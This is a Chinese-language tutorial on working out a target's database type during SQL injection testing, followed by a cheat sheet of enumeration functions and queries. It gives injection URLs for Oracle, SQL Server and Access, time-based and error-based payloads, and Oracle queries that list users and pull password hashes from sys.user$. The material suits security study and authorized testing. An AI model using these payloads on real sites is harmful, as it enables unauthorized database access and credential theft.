SQL注入判断数据库类型

SQL注入首先会判断服务端数据库的类型,通过已知不同数据库的一些特性,便于后续进一步渗透测试

SQL注入

一般来说SQL注入存在的四个语句“SELECT/UPDATE/INSERT/DELETE”,增删改查,通过一些参数带入SQL执行语句中,再通过拼凑等方式获取更多的信息

0x00 常见网页类型对应数据库关系

asp  :  Access/SQLServer
php  :  Mysql
jsp  :  Oracle

0x01 如何判断Mysql数据库

其实判断数据库的类型,也是依据不同数据库中一些特性问题上处理的不同来区分。

Mysql数据库是一种非常常见的关系型数据库,被大量用于类似PHP语言的web应用当中

1.1 字符串拼接

字符串拼接特性

拼接

如上图,可以拼接字符串

1.2 BENCHMARK函数

MySQL有一个内置的 BENCHMARK() 函数,可以测试某些特定操作的执行速度。 参数可以是需要执行的次数和表达式。 表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数。请注意:该函数只是简单地返回服务器执行表达式的时间,而不会涉及分析和优化的开销。

MD5

SHA1

如上通过对比,发现MD5的效率SHA1效率高

在MYSQL当中字符串拼接和BENCHMARK()都是独有的,因此可以通过这些差异来判断


0x02 Oracle数据库

通过输入',根据爆出的错误信息来判断

联合

product.jsp?id=' UNION SELECT banner FROM v$version --

联合查询:

?id=' UNION (SELECT banner FROM v$version) --

0x03 SQL Server

方法名 Payload
延时注入 page.asp?id=';WAITFOR DELAY '00:00:10'; --
默认变量 page.asp?id=sql'; SELECT @@SERVERNAME --
触发错误有可能会报出DBMS类型 page.asp?id=0/@@SERVERNAME

0x04 Access数据库

4.1 报错信息

在注入点上加入',返回错误信息中,如果是Microsoft JET Database Engine错误'80040e14'的话,则说明网站所用的数据库是Access数据库。

4.2 逻辑差异

利用SQL和ACCESS的系统表的结构,如下

http://wwww.***.com?id=1 and (select count(*) from sysobjects)>0 //sysobjects 是SQL表

http://www.***.com/id=1 and (select count(*) from msysobjects)>0//msysobjects 是access

如果加sysobjectsSQL语句后,网页显示正常, 加sysobjectSQL语句后,网站显示不正常,则说明用的是SQLServer数据库。

如果加sysobjects和加msysobjectsSQL语句后,网页显示都不正常,或者加msysobject后的网页显示正常,则说明是ACCESS数据库。

4.3 对len()和chr()函数支持

如果目标数据库同时支持len()函数和chr()函数,且不支持length()char()函数,则很可能是Access数据库。

支持length()char()函数的很可能是MYSQL数据库


0x05 方法总结

一言以蔽之,通过各个数据库的特性以及报错信息的不同,就可以确定下目标数据库类型

0xFF 补充常用函数及SQL语句

Access:
asc(字符) SQLServer:unicode(字符) 作用:返回某字符的 ASCII 码
chr(数字) SQLServer:nchar(数字) 作用:与 asc 相反,根据 ASCII 码返回字符
mid(字符串,N,L) SQLServer:substring(字符串,N,L) 作用:返回字符串从 N 个字符起长度为 L 的子字符串,即 N 到 N+L 之间的字符串
abc(数字) SQLServer:abc (数字) 作用:返回数字的绝对值(在猜解汉字的时候会用到)
A between B And C SQLServer:A between B And C 作用:判断 A 是否界于 B 与 C 之间
Mysql:
version()  MySQL 版本
user()  数据库用户名
database() 数据库名
@@datadir 数据库路径
@@version_compile_os  操作系统版本
hex() 把十进制转为十六进制
concat() 连接字符串
ascii() ascii编码
length() 获取长度
substring() mid() 取出字符串
group_concat() 连接一个组的所有字符串 以逗号分隔每一条数据
updatexml()、extractvalue() 用于报错注入
sleep()  休眠

猜数据库 select schema_name from information_schema.schemata
猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容 Select xx_column from xx_table

列出所有的数据库
select group_concat(schema_name) from information_schema.schemata

列出某个库当中所有的表
select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'

列出当前数据库表名
select group_concat(table_name) from information_schema.tables where table_schema=DATABASE()
Oracle
解析IP
select utl_inaddr.get_host_address('google.com') from dual;

获取本机IP地址
select utl_inaddr.get_host_address from dual;

根据IP地址反向解析主机名
select utl_inaddr.get_host_name('*.*.*.*') from dual;

-- 获取系统信息
select banner from v$version where rownum=1 ; -- oracle versi
--获取用户信息
select user from dual; -- current user
select username from user_users; -- current user
select username from all_users; -- all user , the current user can see...
select username from dba_users; -- all user , need pris

-- 获取密码hash
select name, password, astatus from sys.user$; -- password hash <=10g , need privs
select name, password, spare4 from sys.user$; -- password has 11g , need privs

-- 数据库
select global_name from global_name; -- current database
select sys.database_name from dual; -- current database
select name from v$database; -- current database name , need privs
select instance_name from v$instance; -- current database name , need privs

-- 模式
select distinct owner from all_tables; -- all schema

-- 表
select table_name from all_tables where owner='xxx'; -- all table name

-- 列
select owner,table_name,column_name from all_tab_columns where table_name='xxx';
select owner,table_name,column_name from all_tab_cols where table_name='xxx';
发表评论 / Comment

用心评论~